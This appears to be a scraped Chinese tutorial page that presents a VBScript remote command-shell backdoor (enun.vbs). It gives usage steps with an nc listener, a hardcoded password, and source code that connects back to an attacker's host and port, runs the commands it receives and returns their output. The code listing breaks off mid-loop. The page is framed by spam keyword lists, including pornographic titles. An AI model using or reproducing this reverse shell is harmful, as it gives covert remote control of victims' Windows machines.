国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

VBScript 打造自己的遠程CMDShell附使用教程

2019-10-26 18:06:10
字體:
供稿:網(wǎng)友
請先下載 mswinsck.ocx 與 VB6Controls.reg!

使用方法:

1,控制:nc.exe,執(zhí)行:nc -l -v -p 1234;



2,目標:cscript.exe enun.vbs IP Port;



3,密碼:enun。

幾點說明:
1,退出 SHELL,請輸入 “exit”,不要用 “Ctrl + C”,這樣的話只能等目標重啟或手動運行后門才能連接;
2,Windows 7 等環(huán)境下普通標準用戶也能使用,但是獲取的權(quán)限相對有限。
3,內(nèi)部命令及管道使用如下圖:



相關(guān)下載:
      1,視頻演示
      2,vb6controls

enun.vbs 源碼:

復(fù)制代碼 代碼如下:

'--------------------------------------------------------------------------
' Copyright (c) lxzzr. All rights reserved.
' ScriptName: enun.vbs
' Creation Date: 28/8/2012
' Last Modified: 28/8/2012
' Author: lxzzr, www.enun.net
' E-mail: lxzzr@21cn.com
' Usage: Cscript.exe //nologo enun.vbs IP Port
'--------------------------------------------------------------------------
On Error Resume Next
Public SocketObj, ExecObj, ShellObj
RemoteHost = Wscript.Arguments(0)
RemotePort = Wscript.Arguments(1)

Do
 Do While (SocketObj.State <> 7)
  WScript.Echo "Try Connect to " & RemoteHost & ":" & RemotePort & " ..."

  Set SocketObj = WScript.CreateObject("MSWinsock.Winsock")
  SocketObj.Protocol = 0
  SocketObj.RemoteHost = RemoteHost
  SocketObj.RemotePort = RemotePort
  SocketObj.Connect

  WScript.Sleep 3000
 Loop

 WScript.Echo "Connected to server."
 SocketObj.SendData SocketObj.LocalHostName & " is Connected, Enter Password: "
 Do While (SocketObj.BytesReceived = 0)
  WScript.Sleep 10
 Loop

 '密碼驗證
 SocketObj.GetData Authkey, vbString
 If Split(Authkey, chr(10), -1, 1)(0) = "enun" Then

  Set ShellObj = CreateObject("WScript.Shell")
  sRevData = " "
  SocketObj.SendData "Logon Success, Welcome!" & chr(13) & chr(10)

  '循環(huán)等待執(zhí)行命令
  Do
   Set ExecObj = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))

   SocketObj.SendData ExecObj.StdOut.ReadAll
   SocketObj.SendData ExecObj.StdErr.ReadAll

   If sRevData <> "" Then
    SocketObj.SendData chr(10) & "[" & SocketObj.LocalHostName & "@" & "enun]#: "
   End If

   If Left(sRevData, 4) = "exit" Then
    SocketObj.Close
    Exit Do
   End If

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表

圖片精選

主站蜘蛛池模板: 惠水县| 宁城县| 广平县| 电白县| 武鸣县| 嘉荫县| 南投市| 武平县| 六枝特区| 鞍山市| 慈利县| 江达县| 龙游县| 沐川县| 娱乐| 正定县| 固原市| 丹寨县| 丰顺县| 梁河县| 萍乡市| 夏邑县| 江都市| 承德县| 张家界市| 牙克石市| 江安县| 商洛市| 武义县| 绥化市| 托克托县| 宁化县| 松江区| 朝阳县| 富裕县| 宝清县| 武宣县| 潢川县| 长乐市| 商河县| 交口县|